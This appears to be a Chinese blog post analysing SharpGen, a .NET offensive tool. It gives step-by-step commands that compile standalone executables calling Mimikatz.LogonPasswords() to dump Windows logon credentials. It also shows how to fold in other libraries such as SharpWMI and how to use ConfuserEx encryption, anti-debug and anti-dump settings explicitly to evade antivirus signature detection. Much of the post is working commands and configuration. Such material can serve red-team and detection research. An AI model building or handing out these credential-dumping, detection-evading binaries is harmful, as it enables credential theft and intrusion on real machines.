SharpGen 利用分析

发布于 2024-09-08 17:40:17 字数 11062 浏览 14 评论 0

0x00 前言

SharpGen 是我认为特别棒的一个工具,它能够用来对其他.Net 程序集进行整合、重组并加密,二次编译后可生成一个全新的工具

本文将要研究 SharpGen 的细节,介绍调用其他开源库的详细方法,分析利用思路

参考链接:

0x01 简介

本文将要介绍以下内容:

  • .NET Core 开发环境搭建
  • 功能介绍
  • 调用其他开源库的方法
  • 利用思路

0x02 .NET Core 开发环境搭建

SharpGen 使用.NET Core,优点是支持多平台(Linux,MacOS 和 Windows)

编程语言使用 C#,利用 Rosyln 编译.NET Framework 控制台应用程序或库

注:Rosyln 是一个.NET 编译器平台,通过 Scripting API,能够对脚本文件进行动态编译

测试系统:Win7x64

我在测试系统选择安装.NET Core 2.2.0、ASP.NET Core 2.2.0 和 SDK 2.2.101,这是为了兼容另一个工具 Covenant

对应版本的下载链接如下:

安装 Git for Windows,下载链接如下:https://github.com/git-for-windows/git/releases/download/v2.23.0.windows.1/Git-2.23.0-64-bit.exe

下载安装并编译 SharpGen:

git clone https://github.com/cobbr/SharpGen
cd SharpGen
dotnet build --configuration Release

0x03 基本功能介绍

SharpGen 默认集成了 SharpSploit ,能够直接调用其中的功能

参数说明:

Options:
  -? | -h | --help                                     Show help information
  -f | --file <OUTPUT_FILE>                            The output file to write to.
  -d | --dotnet | --dotnet-framework <DOTNET_VERSION>  The Dotnet Framework version to target (net35 or net40).
  -o | --output-kind <OUTPUT_KIND>                     The OutputKind to use (console or dll).
  -p | --platform <PLATFORM>                           The Platform to use (AnyCpy, x86, or x64).
  -n | --no-optimization                               Don't use source code optimization.
  -a | --assembly-name <ASSEMBLY_NAME>                 The name of the assembly to be generated.
  -s | --source-file <SOURCE_FILE>                     The source code to compile.
  -c | --class-name <CLASS_NAME>                       The name of the class to be generated.
  --confuse <CONFUSEREX_PROJECT_FILE>                  The ConfuserEx ProjectFile configuration.

1.对单行代码进行编译

命令如下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe "Console.WriteLine(Mimikatz.LogonPasswords());"

执行过程显示自动补齐的编译代码,如下图

Alt text

值得注意的是其中的随机类名 ohq8r7eQ1qK ,每次生成文件时使用的类名均会改变

注:如果想指定类名,可以加入 -c 参数,示例如下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -c abcde12345 -f example.exe "Console.WriteLine(Mimikatz.LogonPasswords());"

命令执行后生成 example.exe,example.exe 会调用 Mimikatz 的 sekurlsa::logonpasswords 命令

2.对完整代码文件进行编译

example.txt 的内容如下:

using System;
using SharpSploit.Execution;
using SharpSploit.Credentials;

class Program
{
    static void Main()
    {
        Console.WriteLine(Mimikatz.LogonPasswords());
        return;
    }
}

命令如下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt

执行过程显示编译代码,如下图

Alt text

由于指定了类名为 Program ,所以不再具有随机类名的功能

注:SharpGen 使用了 Rosyln 进行动态编译,每次生成的文件 hash 都会不一样

0x04 高级功能

1.缩小生成文件的体积

(1) 取消对指定 dll 的引用

编辑文件 SharpGen/References/references.yml

此处的 dll 通常为 C#程序使用的引用文件

不需要的 dll 名称属性由 Enabled: true 改为 Enabled: false

(2) 取消对指定 dll 的引用

编辑文件 SharpGen/Resources/resources.yml

此处的 dll 为实现 mimikatz 的功能

不需要的 dll 名称属性由 Enabled: true 改为 Enabled: false

注:

  • powerkatz_x64.dll 为 64 位的 mimikatz
  • powerkatz_x64.dll.comp 为使用 System.IO.Compression 库压缩后的 64 位的 mimikatz
  • powerkatz_x86.dll 为 32 位的 mimikatz
  • powerkatz_x86.dll.comp 为使用 System.IO.Compression 库压缩后的 32 位的 mimikatz

(3) 使用 ConfuserEx 资源保护

ConfuserEx 资源保护会对资源进行加密和 LZMA 压缩

示例命令如下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --confuse confuse.cr "Console.WriteLine(Mimikatz.LogonPasswords());"

2.调用其他开源库

参考资料中未介绍这部分内容,这里给出我的解决方法

这里给出两个示例,一个是开源的 SharpWMI ,另一个是我自己编写的模板 SharpTest

1.添加对 SharpWMI 的调用

(1) 将 SharpWMI 源码复制到 SharpGen/Source

(2) 修改 SharpGen/SharpGen.csproj

ItemGroup 标签中添加 <Compile Remove="Source\SharpWMI\Program.cs" />

否则在编译 SharpGen 时会报错提示:

Source\SharpWMI\Program.cs(3,14): error CS0234: The type or namespace name 'Management' does not exist in the namespace 'System' (are you missing an assembly reference?)

(3) 修改 SharpWMI 的源代码

只保留 Program.cs,删除其中的 Main 函数并且将 Program.cs 中的每个静态方法改为公共方法

例如:

static void LocalWMIQuery(string wmiQuery, string wmiNameSpace = "") 需要修改为 public static void LocalWMIQuery(string wmiQuery, string wmiNameSpace = "")

(4) 重新编译 SharpGen

命令如下:

dotnet build --configuration Release

(5) 调用测试

example.txt 的功能为调用 SharpWMI 中的 LocalWMIQuery 方法查询 win32_ComputerSystem ,内容如下:

SharpWMI.Program.LocalWMIQuery("select * from win32_ComputerSystem");
Console.WriteLine(Host.GetProcessList());

SharpGen 的命令如下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt

生成 example.ex 并执行,调用成功,如下图

Alt text

2.添加自己编写的 C#模板

命名为 SharpTest,功能为接收参数并在命令行输出

(1) 新建文件夹 SharpTest,其中新建文件 Program.cs,内容如下:

using System;
using System.Collections.Generic;
using System.Management;
namespace SharpTest
{
    class Program
    {
        public static void TestMethod(string string1)
        {
            Console.WriteLine(string1);
        }
    }
}

(2) 修改 SharpGen/SharpGen.csproj

ItemGroup 标签中添加 <Compile Remove="Source\SharpTest\Program.cs" />

(3) 重新编译 SharpGen

命令如下:

dotnet build --configuration Release

(4) 调用测试

example.txt 的功能为调用 SharpTest 中的 TestMethod 方法,参数为 123456 ,内容如下:

SharpTest.Program.TestMethod("123456");

SharpGen 的命令如下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt

生成 example.exe 并执行,调用成功,如下图

Alt text

为了便于测试,我已经 fork 了 cobbr 的 SharpGen,添加了对 SharpWMI 和 SharpTest 的调用,地址如下:

https://github.com/3gstudent/SharpGen

3.资源保护

使用新版的 ConfuserEx 能够对编译后的文件资源进行保护,地址如下:https://github.com/mkaring/ConfuserEx

旧版的 ConfuserEx 不再进行维护,地址如下:https://github.com/yck1509/ConfuserEx

调用命令示例:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --confuse confuse.cr "Console.WriteLine(Mimikatz.LogonPasswords());"

对应使用的配置文件为 SharpGen/confuse.cr

默认配置为对资源执行加密和 LZMA 压缩

ConfuserEx 还支持其他保护功能:

  • Anti Debug Protection
  • Anti Dump Protection
  • Anti IL Dasm Protection
  • Anti Tamper Protection
  • Constants Protection
  • Control Flow Protection
  • Invalid Metadata Protection
  • Name Protection
  • Reference Proxy Protection
  • Resources Protection

只需要去掉 SharpGen/confuse.cr 中对应的注释即可

例如添加 anti debug 功能,配置文件 confuse.cr 的内容如下:

<project baseDir="{0}" outputDir="{1}" xmlns="http://confuser.codeplex.com">
    <module path="{2}">
      <rule pattern="true" inherit="false">
         <!-- <protection id="anti debug" />       -->
         <!-- <protection id="anti dump" />        -->
         <!-- <protection id="anti ildasm" />      -->
         <!-- <protection id="anti tamper" />      -->
         <!-- <protection id="constants" />        -->
         <!-- <protection id="ctrl flow" />        -->
         <!-- <protection id="invalid metadata" /> -->
         <!-- <protection id="ref proxy" />        -->
         <!-- <protection id="rename" />           -->
         <protection id="resources" />
         <protection id="anti debug" />
      </rule>
    </module>
</project>

4.补充:禁用优化

SharpGen 在编译期间会对源代码进行优化,可通过 --no-optimization 参数来禁用优化,这将导致增加生成文件的大小

0x05 利用分析

SharpGen 可以作为.Net 程序集重新包装的平台,具有如下优点:

  • 使用.NET Core 平台和 Roslyn 进行动态编译,开发代码时可选择多平台(Linux,MacOS 和 Windows)
  • 可调用其他开源库,实现功能的定制,最后将其封装成单独的一个 exe 文件或 dll 文件
  • 使用 ConfuserEx 对资源进行加密和压缩,避免对特征码的检测
  • 生成的文件支持.Net3.5 和.Net 4.0
  • 生成的文件支持 x86 和 x64

更进一步,使用 SharpGen 能够快速的将.Net 程序集形式的 POC 转换成 EXP

0x06 小结

本文介绍了 SharpGen 的功能,分享了我实现调用其他开源库的方法,分析 SharpGen 的优点。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

江南月

暂无简介

0 文章
0 评论
20 人气
更多

推荐作者

风暴

文章 0 评论 0

乐玩

文章 0 评论 0

英雄似剑

文章 0 评论 0

秋风の叶未落

文章 0 评论 0

luoshaoja

文章 0 评论 0

吴彦文

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文